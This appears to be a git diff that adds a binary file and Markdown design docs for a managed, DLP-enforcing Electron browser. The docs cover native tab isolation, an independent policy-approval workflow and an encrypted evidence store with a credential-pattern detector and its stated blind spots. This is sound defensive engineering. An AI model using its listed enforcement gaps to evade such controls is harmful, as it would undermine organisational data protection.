zS)OK%;zjrN&}T{k_@^$(pT|wUP~NYIK8mt&x`!&q=J|_!S|XkXYlOZ80K{7n=cyuW zX()a5RS8^0uTEk6PZ*4-=Me;9+onqEhnl|<{M&#s5-=+5KYP}f^JO{{K^b4)eF`VZ zmL%)kNfTbw0|H}C?lAraz_crewX+y!VKDT<`+t`G68b_#!=JUnU2Z)5khguvje`IJ z?W`9mZ$@+6Ql5W>Ka^rxGujBUC>9GU>|UNj^~yeEKKjUa1vrMC+(jT3gjFY(M@Sgb zqoO1He#Ck;lfN4$XTg6y(?zQguxJ=;^7asQb)+=ALv$2A2E5Tlh>Kdp8R-8l_+ttN z16_4(k*&9NT0Hv9AW#$k1_Ry#jJbBtFat@y6iD%!v+}VI+thy?82j`_;NfA>#V%2L zO7b;Ls2okS8+@=oBE>C=HEll*L4R}Lqf*X}{5sCnwybc(QYO2I9o|$`D^mkd5j)FA zx7-k@_{khnJ$&#=Q5G|(ccNOLfM9A)Cz#)Z@a(7u{aa;pde2$n%KYV-epOSm)i`Y& ze~g(=LpXwdcRgl-ZhFU5^lA^F)V(J8E4tHOaS>rH3=*RNk$^$RY<5mlSH-Vo zPLVV#44stK>BhdodwqqTAY@K#hmB8+z!N*(>9K~u+3);h@U1>4LP|7EC6vX`s_CTt zJvqpT$NSTjDtUbZg%M~0fixHhg{(6@|FW#PIp{SyfZE#1ns9$tdARa)_}|eP%IxW`hP$Xt?S?h* zLxC{0S+@$@SwXXBBaG!PZD3+?fa6eSr;B}Vb+y1hav4U#)XG?f1Gnd2ESM~_z7&tb z<6e}cO{?HFK)EL^s+9>72Z?;u<)}jFH8+Sgf?q}8Hkc{-#ik*pbNL2gajWO_iH^7F zez4SsbT{r0-=_Mm;JABDalmUp7!mJ^m7R5Rwr``ob5Kn`Z&Qu%M1gb_lnjX3 zw~J)NU`jmY26N^7=H~Efr9w_$R8v^sW z5#2D&|Hz3>uri+@S1su)=y$;+HGCIb)KlBY9Xo7e%7cfes?A23!bG0`m8)>>PEjCN^Rp-hRwU;D6}5j?4|? zalR>d^?W-<=EaGR&;Wy~1Acztax*8Xr-rMgfe6Nrn`|z4KCLIU6$t{t?CichI#PD7 zoE`69rw_5EW5ayi?%dvTaZ^2&zONt=@1Z4K8p^o)$`dYt(EBdN^EEtIu6pmP7G1y= z1hSuwRkbUJvn9$lK~~Ld6Q{)w5os7cWjKJcsPB9-OK3`}xU}Abx+Q)Ui*j z%-_IzVGIzLG=2BYwq3F3b1{p}rVSNZVP2vn zM`E5pt@gb?KFI3G6sc}GIOZ86ZQ&_;k;`~9|2i0XD>jF6@n9}>pH8>K*lB`FRE>2wqNM|MqWWvT^F^>e8eA;} zKC~_4l|oVP4JY+kZ3kjsj+Z*!Z0Y+LaYa_1Wf&?ZtzWTtnWb9Z=@VBOt+VzzlzomS zya?dcS*$Wb{<+ejRYlgqD}!UfCHTDY&fIX(ULOA?Xijn?v*eayIzfg3ZClxpHbA3t zsKYkgG*#U!^o3m#i|+XaIfHYpS$QJTlm?leHM`EyDp}@&uD5xaj{M`oO1Cxo?p?!(PqovS?9ZrrQ zoy^N#S1o8ZY;)|$UL5=0<*p06Tu!e#2;9KrDGrP}{CYOrH;is;Y+#LI*wy;JOYN*) zP0#MVna9#Fv2Ulp6F_BWM*(p!EGFf4%EA>k+Z{ETI?YCc{@Iki9 zk(=9$49j|wpU->ZV~O9lYB5!wz17FMk?rgjswsV|%Z{PIvH5xD@$~(2iV+`QU3`rm zO0mvX!=qzTt((}UL#rLD>n~W5)?zCik*HYiy!JWY4wm%=#o$j>`{g{YLJl4GmMhA+ z1+r|9V{l~0m6a*3hp`ylCiY?hcD9zg;E0e!?S_`?<`>K$wJ%q*7+VW&N-+Iw*QR<#5x!+xjW4SYK1>$R}>Tt#O^ccRm@h|Txz{I2X*AYJ-eXv$` z4q@j^QFqrg*S66t|MD9polkw1IfyZbbPoUAov+a?jdN&ibL;L<)^$5D z9zl_6xYD3LsFG^5(vX`QXlH((5g>4spW)rHMq*UoV7(ib`P+KYP;84Kl@pkn6Gg^- zqLP{*UUY0Kqo7j0qy~3x(>LlW7(}r%UNck=c<6aNInK+=dc1%oceS_OZY=W=iETN% zSr_iJl98bapPoh=&KvX|XQ>fultTlo9}VIwxXPh2zj5w~efR3}X z&s`kbJ0k;3ai0Ieg~-qzoX3t*6$(&O8q=C~Q?Gf((nYH-)h47L1N;XAeT&gl+H3F2 zdEBFuW~v;<9EscYeVV8G6Q;4t7+e<|w8*Zph8Q4S8)B~eZjB+D#g)FN#vIkg zc0nvc$F8O00dw19SBO-oc1(^zXOVT^&~Nl+!!}+@^Q1OA7@Khnub_IAkNu!;Nr315 z&zV`aofqc0rm{r1sQtgW*S;+ok!PGxl>4+OH4tUFye1b6BRX8^yr;c8JCWJOO1oak zHdJnqs-{Yi@|mBfRq7@ZwT6=d%}%|DAi<9ji? z2uE5wIHWv*jNA^E+ulFAFVBd$G94fAD3hLzS!)UuVF^_%5am*na$n*9VM5pPcX$Zp$OzlP-DGc<>C>55M&ERgz3ZZu=J8k8cx7(; z+lw}CtIf&w2jN@CwJ^|U4C(_ws2d#f}+pMm?M5SB^(&$#nb(U zV|qHNhe+3YN2DY90x)7r_w&7S!R$tZ>2r6?42ZZwcxZjDc)(BTP4VdHh^YyPgjWj|N`f zoPCB3+)lKj;vD|kI9x5T*cxfO$DtUKoO)srXg8mdvcpeLk7<9jO9S2i`r1k|AETb~ z?CiO*4qR!H+AGO$-CL8#OjU8_J^6E0%h^9iSnWH?l>c?)f}N_xGq--jI%R3Bt=UvX zz4vDWgc&S^O}=T|aJG4jTE+`$g6-L1LWTX@<;4d#E~Udp^&BqZWkSv63lhmB3KGX7 zzRZ}s^cO-V06h&MOagq!nP~*!S{xpp-#oLBkM@jb zc5e)9YCgarMmY8*l-FHPv;2Bq>Ojj0s+F5U<`Xqu@7?vQt|M2^sc5^ZGj^(E%bUGu z;*-p8$*#xPyzp<;6UXXYu2#A*Twj1RA4-_>H}@Sd1k z;E22TXlPp!6=@Huw7{`Poj}~npS!60rLH; z9uFcz7X{tg96tNAu$C6$H(`98>WwtxV%5rY3}+|lW7`O$Y5)c2d3&{M_4Y~EHSBwl zBGJc9%T@j-M)F-NEwoHU(@FkV)?+{O{8MD^ks(pl9=Np?*U2;_|uTX5(*f4j#Z->c^4TH29RC_0wDwpG|AYix;85HnOOPni}E3 zS0tWtT)ek<$~+~}yX_?~n6{}r5dT($2`fL;9;wFmKxj6a64;oCa5PnFd{5vdzzy{^bYV_6DAWWy0=xLfBIXs&RIns=TM(AJpZo?Yuba2jn+ zxQ(wh%9!0*=CQYHA^_FrC~VBl|wFgxdW{h zJG;pbc)Flsx%Ro-{p+yo^U!5IQ(s^IDv3j!KIwfUz$gA+kxH!GF(_X#$ zzQ3{2*xw+1zZbozhxCNlU%jt&$kkeVPN~*Ql=(hyJo61P;B?7+)P_{LwZi}#;VavVly#rwZ69C}zm(MywhoMwAVpjufyegLRpD#yl)=sAD z=|U(X5TOg&Up9sa@VLcNXz+Uxu`)zR($a37#_1+cT_52B*W%I63Ge)f6D*{6I6{8( zNyH?3u@>=-7b`U7ZPt*w!@it`zP4Il-+>{#9y2TxSfwx zX#hELS%fbBTl^i%n(4}{N!a%s z>)YOYPt{ERr-%9p-z#V;i(aSu!^?}JtW{KdQveH1xn7eAKdZ{P79)xc08n!#Y-)ZK ze7c-w@##kRuGX3^VLo4!V1-arwZLVOtK0W?<7vs}x?DGh zEa}7;9}yZK(+fy+ZI6WBBblKIE_Bz=Z?xh;cao$S~__#&6(c+HnogYy%BOaxbsWi8oSq>NaUuBH!rl8OhIC`t5Q&osy@`xnby_ z&|;|}|BFBVkiq@Hb%;Apqf0{MeRkRDHMG52J^%3O@u^cibeIvcm7%IY%SOuS*Zo27 z-pZ>4jp6EIFw-vhyfs)Ar%vuf!m&`h>-I0b&}JuwtX{#gT5l-rUy}6I z|1PrjI;s-$kIr-7eU8uN%^1!d?J0gxgW(=yvT!PAh{s<7FyG_IrPAlzm4y8r3x)gf zwucfiIzgR`l1ikLb~WtGVsGpO6`YtGNde)-kb~_skbaL5k(`Q0TSgZ zTU^Vk_olh_aoBUG+_vqzO0b~kU%M`})aaU$Hpw$n75*u$l*4(%x^j5O#{Ndr9I4Eq| zFD)3qOa+qQic?mbTAR@muzWaH+ya&spRs?&2Giv!K(la)rnM6xgF&>&y${Ah_4Af_m5fWAbu?C6 zo$&?Q6~%t(jm6-06P(xo@BXP&fZG`S(}uoJS)wi1RadBH;^>M_pY4a= z4>oH()?LMR7D$Mmd9T9V=+ZZuL^egVrBbW>DhOi{SP5s(ZHc< zx4Ry9h;cDCh4nKU#5QLi1S*wcSVpP)GMxy$&skD`K+yCAO9%a|PX}DADcC`4otyDZ zHr*JH?dhl1nYy)>#>ESlvJNO(kc@OAdU zrG~ddzyA>p289>ewdX^!kEr?gpbdAM3gB~lc>|Q<{@Nml=7_P{l>o$-=QR6qvHte^ zzVKdS@XCPyR>BFzEE-C0`XXC=xicwBI}VHS-&UWC%`QTyb>f7mrvVXB|tZB4=#kj)~9>sC*!p0mj*tLT%!+6XW-MHfD1@p;&sgl<_UjTeQ?mg=q5^rW4?SOTu7L;5^+ zb-FUmA9Ny4^5O5Zg#8|^zYU3e37yh1f7e1hya!~=YL?zZu25R_S(IjMx}{<4koT$o z{P|l;rxNE(SLsRsTHQ=;+693km7V`GzNb5Q0MNf#I{g)sE_wj=b;3$i0Ec zt8E1zFr?l8mc0(h;2*0Djz`@KzpX`LwpzErm~A{lm$*4rs;BX#d=Vb>Whn49LIb23 zrzU6GEx0&!E}6~f{Mm5>s5DYovVQEsFkC2@80YBpJ^j0PP)X=MLgsBh&D-+)y-UoJ+keNKzH=k*1u`x~`usiB7zvP%lKtWZ z;716ePQG&JFEN&|*`Ea7a25O6!X1W=S_#BABYx)`N~_`2PUY7EKZ;JX*uG23;rG{_ z1BW9r!1j}C@@)TdPYAzO0#8a8k&ngi#vu3C*E^M|^cvUlZ%&~(wS5KqpC#t@S3Q{1 zy({+OYT2A0>ME=;2rrO-BU1+b%j}8=zxnPN$gg*c2wPY9QH2+wKj`&b{VPTI-f-76 zg;7j-AqTCaR~K`Bc*CkQZ3P&WKz)n&9zY&BAgY^$@H6)Y(o}9gy9~pdFkzR#n8uhi zLS>QdvvPCAV*m9UdbQG3en9+p#B(4%38?z{m{VHz?|8#Hicd{n?^;>mlXaL<|6%;j z^8c#4%C|U{X1{niSO^;2-GVy=*O1^Y0Rq8-C0Jky1QIm32KU7mSlklao#4S2_Yf9) zXLHWE_j&(-`{CAyd8VIftL~oas$W&l%t6GsQyoAIe;^0XPHq#B?9jt2C&Ao^n4~p` z714^)5%~izHJn(1cKkuqhj>Wtb0gu+-%vrao~kjwnJ|-biQaVdbQ?#oB7LaJ{Vb9} zY?%1#Z^!yUsFpGBZES7RaDy6%Jbw{12?LCC5o$`k2-jYtiRz-`4@)l4UE~@6+rK^m zU}`*FOgw%Fz@g4WOSZWM6jYFJ5`KUV0=YfqyXfN5r;jEN{r!^QE``ZFEqAAgjd!Js z)?(O0(iI5h0nDX7pb8fB#Z4`>hoIn%btq2;&e_>~ZT~Ba-!Zv-oOm+ese?v^RCl%qRnv4Seeye$bbB>H}-WN0MtBI zc(lY_4!=zIq(cK7ygc0HfY05JI2j8hJ3;5}_-v5YwtHL~J-|a#_3%qez}n0H4tXl& z!U|@W44MaJK8$OR;Y{d&TGbH{bQlU#xl~4;L&5j}1Wa4j9 z*JgG=jz1dEvcO6lqDFrl$~^nNuF+-;Ke)9`fz`wQ!G4DTCSL`b!}I2-sda}-t%3g~rUU%4WFdl*TBkkgt8G+*AB|02cF^5gk&P4hH0If#+u zs{+!Qra-+38C%?UaVBvK0fF*`QR_)XZ=^Zhe-l|msIF;g0Mq%rcs;y9XiO2&62c~& z<-wUI`{+-%xTnZ46-9)y;;&KHgHS*!I^OP{P5M8NS=&hCy0TJ$8RV-503lQKlD*0w zQ^ZuaxmNL}$Tqw1NpCZq#d}>c*0h0gT0l9sS^&}Y;ARPvIrUXBRHwlECN}^?``D!~ z{yu*J4MvWFV(q2!obCGloJS@>FC#AS;-V?2i_38;{1lm$i~G%3iM0TXNyjsE>={oh zk&{F?+0IHnCQ=J-f}1m?r7sO{8!KpWkQ?BGKo69v^79-N?W3YUFsoDi_(+U^nk{$D za}T>@sY|8FLXqa*L!I}@f7LgK6aG& zYPcrKvCIsw&&lB4VZ%<-{(8E(&tV9m0Ly(gcgD?r$J}8%HTa}(`@R;@;uGIAJ_nv^ znvZJqv!|&`WUvu7Y~JgjOnzof1b$l#`{kF9AIJ+g_B~^+D~mbI z4XdCfD=FpBm4sd#RzUc>D@;o~$SaZ(n@BiYDAm)_4sPhA?PNe`GVfy($t)Y`@ZGeP zQgLat-Xu9n43|l&$-wD(+YT@e#4qopon@%`{9y*Qdy|8$g-+mPleeU4x2-tPg;&*z zwb#oSnRQcl*WA|dC^NsE(?|E7_YjG9!uQucaX046826ALci^HPF$q%zP+*r_#&12p z&x~!|w!qqC=q*0VZ8cVT(cVfi{zf}{;YK!{X|B46;5b!)+sJvr7t>JV;8&qrbeY9* zGjpjH0rlMIx~RYRf{CN>zVuecncpo7o>zO_FC8ynsMb{fL zd!}~q{pub8C%ELc8G-3+!0aGS=AyPTC{UpbZoGDYi3<#k*z=VpTzIOw732@zx58~sA%Wja4DkULoX2`sUhYS$UuruU1MsXW0~5Gp!fZUBBoR zK`aJ7N$wTCxwUDht+zw$9gNB}vT~MMPL;RLJ(ur>l3}K`J)r!$jkx zudt9C@n;Tu_k8ld-4E=YB{~+{TjnZsVx5i^$fq%)bcdSn{ue=Wy1{(}0x8Ii*J^Q2`S9ADTe@|8~ECeNYSn;o+$&Jk#9e}`b9 zZ(v}Gx|SVn@!$^6uM~2rFSW24=64~lJ`1ru=SqJyP8UuXJz|D`AhBk2Jp+~Z-1uB% zqbv5$+yuv77_Yo6bY`9Av~f)ZZ8zj@0Q7J-+>&quI{0!%0xR4~ct{ zsY9>H&TL{(jqBX+ZL7_ky5BzzWU6;aw0qH(Q07JPh1H%^&q}y0Z^+$~cIjR=*$c)I z@!oFom=ZHKjucs*{!bWiPztLTmBO&3ifGf1V)ea7!{MS-n=s?+f)k zq9l4f-Qd-uJ18*n8!pYPQD%mSZ7F_BKxMRromDj0Z^N9mKatukzmu}6HdCLw4^N?& zugKv<-U}n&7Mtd^e&ji?SNY~N3x5wZ9g2(X{_1<=2hTCl>dUVD0zu4*~(|T zcQcimXytkM30ME7?q5x&nXis=wKX#y0<3g&E|bxuifJMIYFoygn$l+FG&-KR`Cmav zglq`#OlZuY1(|UfJs0Zc3wxA*mBvL`T{sQ80|m)r<0lL4E-QjDf7v0`y6!ARm@7Oi zmRYOn{u6Jdu_;8-t)&EJ6K}VF{6rz6HU5xm!P|blr|k=;{L-P9YFenj`O%b% zq;AW�s8ZZ1MHb%No`lg-!mTk!?U-8(~T;D$yIT4UI>Q1zLFa_^9+!H zU4p6d06e@X!O*{l!FGP)@g=Wyo-T8&DAZ}OctqeA$0RO=z!Su649nVmm@9V1v`7SW9OZ+&ukF* zyXu?b#B>lxrkv0zVr0(u(4c_w1%xp=mJV0ww%K^hun#r(^_B`Z@I-2mYHtNPx;G%f7%6;N`UL2veX`9RgfxJ>( zjBD%C7g3NXNZ>lGX>+KS_a#LTG~wV>AlDn6siEBIRe4b#C5aza^Kxx1ug6STN_|Zd z50(27u9mmX*?gRH);LVrbe(3`;-U|tm7-3g-WFDJ-SDYU9L?ZcT)kEX`PGk)(VK%w zPS?hEX7PU2R9nWodhO2Js-viLT;>O1W%y-=?(g@Hi8?W2fO*~N2=@V(GmmbK;Z%-q zU^6=%@QzIx$>TVfn>?Kr6L!g!jxwqDU%E?crlE@6&T_+6*8}VOg_pY(@3F%kHpbwo zJxQn|uCRE-$2(YX?MP>#_Fc^++0V!;_pXK|VX8&g71uc4?lEKVuPI0W!Mcba;3z3AVv~`OH>$TmB%lL`@)b0uBXr04c z&#Kdv@+GzQH>ax*lYE60h#FrhazZ;kj_UV+ksTyp-HuAT7@O#&Nqeigo=L%;xJ|)> z$3ef@@63u&&ns@4xb`mh_*Uk~L+M^gyqlnrR790r6sgBzj`*Qj`vm@U6OGgGhP~Sw zYleoBW7z%8YUZgDWG=tVQUAp-0`qm#yuTB_FwEeh3GE`0HT=ld+75l2XXYU ziC#|Idz>g8HATt+N(oX`%5IlPvJD;T2n3|KojAu|Uz5mC3t30G8dBw*4~?izc^3e0G^w)S^h znrx@uRX2xUI?t!CeE2mzrIS|*=kKjnawv8q5mT)UZ)q-bllRG6RdY07c%LRi zQMfA&O)AX@f{j}&d`Msa$`=bOtDJ)t*?%kUypspE+KGqh{2k_0L|Ie!ql*o7!F*i2K9Rf(@MyX_=`IV9n6WD(7{$yVf{GM#U%b%h6 zmjuB$?r3R|`WyJo-pWFt4Xvf6M{?VfR~`2Zq`+v3?|BJhKEsj53X zcCh5v0X4*3T0%=j?alqyMhzaN`ql5vJ~+PM)S^fEL62tv^AKby*TFcpEXXn_tG!g+ za>sZxS=YWL{u-JqDPCAZto80inugF567kb7rL3i9ts$GZI4KUI=J)+0sb_Z_KF#ke zS4|IK%C9Pt49u7oR^SnN! zFGX-r8s&?_j>77MqVPGW=*-f2DcM;As2e{F4ju@}8b7nTuAojRudvH0Jo_k9z-4mL zf+95L`V}F%c`6a%Awrnp>JRnkm%N&0Y7E{r`bf*CuhZY=s}sIzLa~Vlmv5%@y%?=5 zaV*Zs-7AI^F24;Tsq84xQABCxYEW6G_KFO@-o$Ve#;Yc8jyd0Bb@eDV=-P6_S>*j43sA7b6m8$#ak!nt* zvv?Ftrb*#k1>$D(3d z0jQ}bkJbH>j`L3`U}Z5Ajjj2!qW!BU{no68wLNk1(|CfiLROb<@@87CFazvHy)T?K zPUQ%z*Q8 zQW}zaDPZ;Dq?;p5i48Sk|YL2D(V6Lbpy31vFdo$!5muwrT&azT#m-#jE;v8ir zC;Kx@`r@&jly?3CXZ8Syu%d&`e?B9ho^RC10!V@ETq zVHysocrmdXX6)?HFP1K^nEWUPiHtk2i!11YHAEl zp1~UC%C?hUzgwaVd*ma~!C^R{Yle0uue>G0u&u)Dl$Flvd~uwXdPYNEKy>suyE*`M z?;y}?Rlew#QK5~gk(nyxk4mxw#w02pHt`pJLt@ie;G|NOOTC3F1SfDbF~>WsWwOBd z)Zw+5eBH%*`N1bt;UfFV&|GW+sLgfU?965QlYw?+2ZZu*fDj<#l|H^{cVq!+2mRyv z28K$3mL0=PkdXuti&$<{#Fj@T1>R6?3?#-4DEy(n&1K7nKlDbRa{-!uK1ClWcnS%` z{h>f?SO6ySef~o#x_{%2$b<^c|HVC&O=FS!r3X%3ZTP+xF?OIUA^O13LwCu18y??rtO~!v5fJGjtAn#9w#FGJ%eK;TU;ZmaGPXd|N pKD!5&$^E_b>6<_xjfpgj&_I7dmSnYjO9GJDR282oRLEHd{Rg0R@GJlT literal 0 HcmV?d00001 diff --git a/docs/native-tabs-integration.md b/docs/native-tabs-integration.md new file mode 100644 index 0000000..d24879f --- /dev/null +++ b/docs/native-tabs-integration.md @@ -0,0 +1,22 @@ +# Native tabs: implementation and security integration + +`apps/browser/tab-registry.cjs` supplies native view ownership, UUID sessions, lookup by WebContents ID, per-tab navigation and visual state, bounded capacity, context snapshots, all-tab quarantine and explicit destruction. Seven lifecycle/security tests pass. It is a foundation, **not yet wired into the running browser**. + +## Exact integration map + +1. **main.cjs globals / startup (currently lines 12, 55, 364):** replace the single `view` plus global visual fields with registry records. The injected factory creates each `WebContentsView` with the existing sandboxed session and site preload. Before any HTTP navigation, install native site hooks, clipboard controls and `attachPageClipboardGuard`; initialise about:blank and await guard readiness. Failure quarantines every tab and closes the affected view. Store one visual scanner per record; capture/describe closures must close over that record rather than the active view. +2. **hooks() (currently lines 277–340):** split session hooks, installed exactly once, from `installSiteHooks(tab)`, installed for every newly created WebContents. Resolve visual checks via `details.webContentsId`; unknown or destroyed tab requests fail closed. Requests with no page identity, including permitted service-worker traffic, still receive destination/body/DNS enforcement and may never inherit foreground visual approval. `will-download` must capture the originating tab; current `getContext()` always uses the active single view and rejects legitimate background downloads. Change download gate to accept an explicit origin context with captured native identity; require both policy and registry context before scan/save/release. +3. **navigation/layout/theme/state (lines 116–126, 195, 227):** native `create`, `activate`, `close` IPC returns authoritative `tabs`/`activeTabId`. Navigation targets a validated UUID and never reloads on activation. All main-frame navigations, including same-document changes, invalidate that record's navigation token. Theme/title events update their own tab only; active chrome takes that record's color. Attach only the active child view, leave others alive and hidden. Quarantine stops every WebContents; policy resume revalidates destinations and visual protection for every tab before the relevant page is displayed, rather than reloading only the active page. Policy restrictions close DevTools for all tabs. +4. **clipboard / password fill / link inspection (lines 367, 418, 465):** resolve native source WebContents through registry. Foreground-only actions require the same captured tab ID, native object, URL, navigation counter, policy version and activation epoch across asynchronous inspection. Switch-away-and-back must invalidate the old operation even at the same URL. UI clipboard remains a separate trusted-chrome context. Password fill and AI page-linked work must bind a captured tab rather than reading the global active view after `await`. +5. **visual/content IPC (lines 384, 386, 484):** resolve sender WebContents to a tab; require sender's own main frame and current URL/token/revision. An event from hidden tab B must never alter tab A's scanner or approval. A block can remain whole-browser quarantine initially, but must store the offending tab and must not be cleared by selecting another tab. Policy revocation/security failure always quarantines all tabs. +6. **agent-adapters.cjs and main startAgents():** replace hardcoded `managed` with opaque UUID IDs returned by native session inventory. `getContext(args.sessionId)` resolves explicit tab identity; absent ID may choose foreground once at operation start, then must be pinned. Navigation callback accepts that captured tab; read/click/type and visual checks refer to it throughout. Background read may be separately authorized; interaction should require foreground activation unless a deliberate policy and UX permit background interaction. Agent host authorization uses the requested target tab, not the active page. Changes in navigation or policy invalidate async read/AI results. Agent session listing requires its scope but cannot require a navigated active HTTP page; otherwise an empty start page cannot discover populated background tabs. +7. **preload.cjs / renderer.js (lines 2, 19–21):** expose fixed tab-create/activate/close calls only to trusted chrome. Remove renderer-owned UUID creation and navigation-on-select. Render authoritative native state; renderer tab groups use centrally bounded strings accepted by native module. Browser back/forward/reload target active native history. Close-last-tab creates a fresh guarded start tab. Correct overview and sidebar updates without stale async UI writes. +8. **shutdown (lines 509–530):** detach guards and close every WebContents explicitly, even hidden tabs; close registry before window teardown. A page cannot veto destruction with beforeunload. Never preserve live WebContents or credentials in renderer localStorage. + +## Required native proof before claiming tabs complete + +Use real Electron views and controlled HTTP pages. Page A retains DOM/input/scroll and its own back/forward history while B navigates and switches; no reload counter increments on selection. Hold asynchronous clipboard inspection, switch A→B→A, then verify no clipboard release or DOM mutation; repeat password fill and agent read. A hidden-tab phishing or content event must not approve another tab. Malicious/blocked background upload and download must be blocked. Revoke or expire policy while two views issue requests: both must stop and none may transmit. Close a tab during an agent action: the action cannot return its content. Validate actual main-frame and subframe preload guard installation for each new view. These native proofs complement, rather than replace, registry unit tests. + +## API evidence + +Electron documents multiple independent child [WebContentsViews](https://www.electronjs.org/docs/latest/api/web-contents-view), [navigation history per WebContents](https://www.electronjs.org/docs/latest/tutorial/navigation-history), and [explicit WebContents disposal responsibilities](https://www.electronjs.org/docs/latest/api/base-window). Same browser session intentionally shares enterprise cookies/proxy/network policy; independent tabs do not imply separate user profiles or tenant sessions. diff --git a/docs/native-tabs.md b/docs/native-tabs.md new file mode 100644 index 0000000..cb9a24b --- /dev/null +++ b/docs/native-tabs.md @@ -0,0 +1,27 @@ +# Native browser tabs + +The privileged Electron process owns each tab's UUID, `WebContentsView`, navigation history and security state. The trusted shell renders snapshots and invokes fixed operations; it never allocates tab identities or reloads a URL merely to select a tab. All site views remain sandboxed, without Node or a bridge to management IPC. + +`managed:tab-create`, `managed:tab-activate`, `managed:tab-close` and `managed:tab-group` return authoritative browser state. Navigation accepts `{url, tabId}` so an address submission is bound to its selected native tab. Group edits repeat centrally managed library permissions in the privileged process. Every state snapshot carries a monotonic `tabsRevision`; the shell rejects delayed responses older than the state already displayed. + +A new tab starts as a guarded blank view. Its native clipboard primitive guard is installed before website navigation. The last tab closes its actual contents and is replaced with a new guarded start page. Switching tabs preserves document state and history. The shared managed browsing session keeps the existing company cookie/session behavior; separate tabs are not separate identity containers. + +Network enforcement belongs to the managed session and identifies the originating native contents. Background requests therefore pass the same DLP and policy gates. Clipboard operations, vault fill and other foreground actions need the current tab context; the trusted shell does not expose arbitrary JavaScript or CDP to pages or agents. + +## Verified evidence + +Run `node scripts/native-tabs-smoke.mjs` for the isolated Windows/Electron proof using the actual production main process. It verifies: + +- Two distinct native contents through real chrome New Tab, address submission and tab selection. +- Preserved input values and scroll position, with a receiver counter proving that selection does not reload the original page. +- Independent back histories. Controlled link activation uses Electron's user-gesture flag, matching Chromium's rule that unactivated programmatic history entries may be skipped by Back. +- Secret POST blocking and denied page clipboard writes in both foreground and background contents. +- No Node or privileged bridge in either remote website. +- Destruction of closed contents and a guarded replacement when the last tab closes. +- Central device revocation followed by denied public POST attempts from both surviving views. The controlled receiver records no blocked POST. + +The proof writes `artifacts/native-tabs-proof.json`, `artifacts/native-tabs-receiver-proof.json` and a screenshot. Private CDP guards are detached only after all assertions, when the test exits; the fixture does not weaken production enforcement. It never writes to the OS clipboard. + +`node scripts/ui-showcase.cjs` separately verifies the real chrome renderer with a clearly synthetic native-state fixture: eight light/dark/compact/settings/sidebar/vault captures, live policy locks and hidden settings, and delayed navigation while creating a new tab. This showcase is visual evidence, not evidence of native website enforcement. + +Persistent session restoration, separate identity containers, tab drag/reordering and performance suspension of inactive tabs remain separate future work. File/data-pipe upload limitations and other documented DLP coverage boundaries still apply to every tab. diff --git a/docs/policy-review.md b/docs/policy-review.md new file mode 100644 index 0000000..fada014 --- /dev/null +++ b/docs/policy-review.md @@ -0,0 +1,19 @@ +# Independent policy approval + +Set `REQUIRE_INDEPENDENT_POLICY_APPROVAL=true` on the management server. This deployment control is outside signed browser policy, so neither a policy draft nor a restored version can disable it. The example deployment enables it. Absent configuration remains false for existing local development fixtures. + +With the control enabled, global policy changes, teaching publication, blocklist changes, individual device document-scan changes, and historical restoration all create durable pending reviews and return HTTP 202. Nothing is signed or applied until a different authenticated administrator approves. Operators can prepare changes; auditors can inspect; only administrators can approve or reject. The same subject cannot review its own change, even if its role changes. + +Each review freezes the normalized full policy, operation, expected current version and SHA-256 payload hash. Approval must present the displayed hash and expected version. Inside one SQLite write transaction the server verifies integrity, current policy version, expiry, bookmark consistency, applicable device/teaching state, then publishes a new monotonic version and applies associated effects. Changed policy versions make older drafts stale; the server never silently rebases them. Repeated approvals and changed hashes are rejected. + +Review APIs: + +- `GET /api/admin/policy-reviews`: latest 100 reviews, status and deployment requirement. +- `GET /api/admin/policy-reviews/:id`: immutable candidate, operation and bounded diff against current policy. +- `POST /api/admin/policy-reviews` with `{policy}`: explicit review preparation. +- `POST /api/admin/policy-reviews/:id/approve` with `{payloadHash,expectedVersion,approve:true}`. +- `POST /api/admin/policy-reviews/:id/reject` with `{payloadHash,reject:true}`. + +Ordinary publication endpoints return `{reviewRequired:true,reviewId,status:"pending",expectedVersion,payloadHash}` instead of a new published version when approval is mandatory. Review audit records contain subjects, IDs, versions and hashes, without policy values or document content. Policy/review storage itself contains sensitive policy configuration and must be protected as management data. + +Tests in `tests/policy-review.test.mjs` cover author/role separation, hash mismatch, stale versions, rejection, repeat publication, queue integrity corruption, and every alternative publication entry point including atomic teaching and device effects. Production operation still requires separate real SSO identities and protected management access; a shared loopback development bootstrap identity cannot demonstrate independent approval. diff --git a/docs/protected-evidence.md b/docs/protected-evidence.md new file mode 100644 index 0000000..244f93a --- /dev/null +++ b/docs/protected-evidence.md @@ -0,0 +1,27 @@ +# Protected security evidence + +Security analysts need attributable facts, including potentially confidential content. These facts belong in a separately encrypted evidence store, not unrestricted OpenTelemetry attributes or ordinary SIEM payloads. Operational traces remain separate and can refer to an evidence ID. + +## Implemented server boundary + +`POST /api/device/evidence` authenticates an enrolled, non-revoked device and requires an existing source event UUID belonging to that device. Supported typed records are download source URL, filename, MIME, SHA-256, size and decision; or interaction page URL, action, bounded target details and optionally selected text. No arbitrary JSON, full documents, password fields, authorization fields, cookies or credential-bearing URL are accepted. URLs exclude queries and fragments. Interaction callers must assert `sensitiveField: false`; the future browser capture path must enforce this authoritatively rather than trust page JavaScript. + +Before encryption, a bounded second check rejects recognizable credentials in selected text, target labels, filenames and source/page URL paths, including decoded paths. It detects private-key headers, Bearer/Basic authorization, assigned password/API-key/access-token/refresh-token/client-secret values, common OpenAI/GitHub/AWS key formats and JWT-shaped tokens. General confidential company text remains eligible for protected evidence. This is not proof that every unknown password or secret can be recognized: an arbitrary password without context is indistinguishable from ordinary text. Native capture must exclude password and authentication controls independently; the client-provided `sensitiveField` bit alone is insufficient. + +Each record is encrypted with AES-256-GCM and a fresh random 96-bit nonce. Authenticated associated data binds format, record ID, source event, device, type, key ID, creation and expiry. SQLite stores ciphertext and metadata only. Source/type uniqueness prevents duplicate replacement. Record insertion and metadata-only audit are transactional. Failure to persist the audit rolls back the insert. + +`GET /api/admin/evidence/:id?reason=investigation` requires the explicit `evidence.read` permission, currently assigned only to administrators. Operators and auditors cannot read plaintext. Reasons are the enums `investigation`, `incident-response`, `compliance`. A durable attributable access audit must succeed before a response is returned. Neither plaintext nor free-form reasons appear in ordinary audit logs. HTTP responses inherit no-store, no-referrer and authentication controls. + +## Deployment + +Configure `EVIDENCE_KEY_FILE` with an absolute path to an independently generated binary file containing exactly 32 random bytes. Never put the key in SQLite, source control, command-line arguments or telemetry. The deployment operator must restrict Windows ACLs to the management service identity and designated recovery custodians. Linked paths are rejected; Unix deployments also reject group/other file permissions. A configured invalid or unreadable key fails startup. Without a configured key, evidence submission and reads return 503. This is intentional, not a 